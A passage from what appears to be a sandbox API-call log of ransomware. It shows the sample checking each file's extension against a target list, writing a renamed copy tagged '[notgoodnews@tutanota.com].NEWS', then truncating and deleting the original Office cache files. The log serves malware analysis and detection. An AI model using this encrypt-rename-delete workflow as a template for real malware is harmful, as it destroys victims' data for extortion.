dwFileAttributes=0x2020) returned 1 [0045.612] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0045.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.869] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.869] lstrlenW (lpString=".doc") returned 4 [0045.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.869] lstrlenW (lpString=".docx") returned 5 [0045.869] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.869] lstrlenW (lpString=".pdf") returned 4 [0045.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.869] lstrlenW (lpString=".xls") returned 4 [0045.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString=".xlsx") returned 5 [0045.870] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.870] lstrlenW (lpString=".ppt") returned 4 [0045.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.870] lstrlenW (lpString=".zip") returned 4 [0045.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.870] lstrlenW (lpString=".rar") returned 4 [0045.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString=".bz2") returned 4 [0045.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString=".7z") returned 3 [0045.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.870] lstrlenW (lpString=".dbf") returned 4 [0045.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.870] lstrlenW (lpString=".1cd") returned 4 [0045.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.870] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.870] lstrlenW (lpString=".jpg") returned 4 [0045.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.871] lstrlenW (lpString=".doc") returned 4 [0045.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString=".docx") returned 5 [0045.871] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.871] lstrlenW (lpString=".pdf") returned 4 [0045.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString=".xls") returned 4 [0045.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString=".xlsx") returned 5 [0045.871] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.871] lstrlenW (lpString=".ppt") returned 4 [0045.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.871] lstrlenW (lpString=".zip") returned 4 [0045.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.871] lstrlenW (lpString=".rar") returned 4 [0045.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.871] lstrlenW (lpString=".bz2") returned 4 [0045.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.872] lstrlenW (lpString=".7z") returned 3 [0045.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.872] lstrlenW (lpString=".dbf") returned 4 [0045.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.872] lstrlenW (lpString=".1cd") returned 4 [0045.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.872] lstrlenW (lpString=".jpg") returned 4 [0045.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.872] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.872] lstrlenW (lpString="Setup.xml") returned 9 [0045.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0046.112] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=5884) returned 1 [0046.112] CloseHandle (hObject=0x1c0) returned 1 [0046.112] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.112] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0046.113] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.113] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0046.354] GetLastError () returned 0x0 [0046.355] ReadFile (in: hFile=0x1c0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0046.656] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0046.658] ReadFile (in: hFile=0x1c0, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.658] WriteFile (in: hFile=0x1a4, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.659] SetEndOfFile (hFile=0x1a4) returned 1 [0046.659] CloseHandle (hObject=0x1a4) returned 1 [0046.660] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.660] SetEndOfFile (hFile=0x1c0) returned 1 [0046.661] CloseHandle (hObject=0x1c0) returned 1 [0046.661] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.662] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.662] lstrlenW (lpString=".doc") returned 4 [0046.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.662] lstrlenW (lpString=".docx") returned 5 [0046.662] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.662] lstrlenW (lpString=".pdf") returned 4 [0046.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.662] lstrlenW (lpString=".xls") returned 4 [0046.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.662] lstrlenW (lpString=".xlsx") returned 5 [0046.662] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.662] lstrlenW (lpString=".ppt") returned 4 [0046.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.663] lstrlenW (lpString=".zip") returned 4 [0046.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.663] lstrlenW (lpString=".rar") returned 4 [0046.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString=".bz2") returned 4 [0046.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString=".7z") returned 3 [0046.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.663] lstrlenW (lpString=".dbf") returned 4 [0046.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.663] lstrlenW (lpString=".1cd") returned 4 [0046.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.663] lstrlenW (lpString=".jpg") returned 4 [0046.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.664] lstrlenW (lpString=".doc") returned 4 [0046.664] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString=".docx") returned 5 [0046.664] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.664] lstrlenW (lpString=".pdf") returned 4 [0046.664] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString=".xls") returned 4 [0046.664] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString=".xlsx") returned 5 [0046.664] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.664] lstrlenW (lpString=".ppt") returned 4 [0046.664] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.664] lstrlenW (lpString=".zip") returned 4 [0046.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.664] lstrlenW (lpString=".rar") returned 4 [0046.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString=".bz2") returned 4 [0046.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.664] lstrlenW (lpString=".7z") returned 3 [0046.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.665] lstrlenW (lpString=".dbf") returned 4 [0046.665] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.665] lstrlenW (lpString=".1cd") returned 4 [0046.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.665] lstrlenW (lpString=".jpg") returned 4 [0046.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.665] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.665] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0046.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.687] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=913) returned 1 [0046.687] CloseHandle (hObject=0x1e8) returned 1 [0046.687] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0046.687] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.687] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.688] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.688] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.688] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.688] GetLastError () returned 0x0 [0046.688] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x391, lpOverlapped=0x0) returned 1 [0046.694] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0046.695] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.696] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xee, lpOverlapped=0x0) returned 1 [0046.696] SetEndOfFile (hFile=0x19c) returned 1 [0046.696] CloseHandle (hObject=0x19c) returned 1 [0046.697] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.697] SetEndOfFile (hFile=0x1e8) returned 1 [0046.698] CloseHandle (hObject=0x1e8) returned 1 [0046.698] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.698] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0046.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.699] lstrlenW (lpString=".doc") returned 4 [0046.699] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".docx") returned 5 [0046.699] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.699] lstrlenW (lpString=".pdf") returned 4 [0046.699] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".xls") returned 4 [0046.699] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString=".xlsx") returned 5 [0046.699] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.699] lstrlenW (lpString=".ppt") returned 4 [0046.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.699] lstrlenW (lpString=".zip") returned 4 [0046.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.699] lstrlenW (lpString=".rar") returned 4 [0046.700] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString=".bz2") returned 4 [0046.700] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString=".7z") returned 3 [0046.700] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.700] lstrlenW (lpString=".dbf") returned 4 [0046.700] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.700] lstrlenW (lpString=".1cd") returned 4 [0046.700] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.700] lstrlenW (lpString=".jpg") returned 4 [0046.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.700] lstrlenW (lpString=".doc") returned 4 [0046.700] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.700] lstrlenW (lpString=".docx") returned 5 [0046.700] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.700] lstrlenW (lpString=".pdf") returned 4 [0046.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString=".xls") returned 4 [0046.701] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString=".xlsx") returned 5 [0046.701] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.701] lstrlenW (lpString=".ppt") returned 4 [0046.701] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.701] lstrlenW (lpString=".zip") returned 4 [0046.701] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.701] lstrlenW (lpString=".rar") returned 4 [0046.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString=".bz2") returned 4 [0046.701] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString=".7z") returned 3 [0046.701] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.701] lstrlenW (lpString=".dbf") returned 4 [0046.701] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.701] lstrlenW (lpString=".1cd") returned 4 [0046.701] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.701] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0046.701] lstrlenW (lpString=".jpg") returned 4 [0046.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.702] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.702] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0046.702] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.704] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=5557) returned 1 [0046.704] CloseHandle (hObject=0x1e8) returned 1 [0046.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0046.704] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.704] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.705] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.705] GetLastError () returned 0x0 [0046.705] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0046.708] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0046.709] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.710] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, 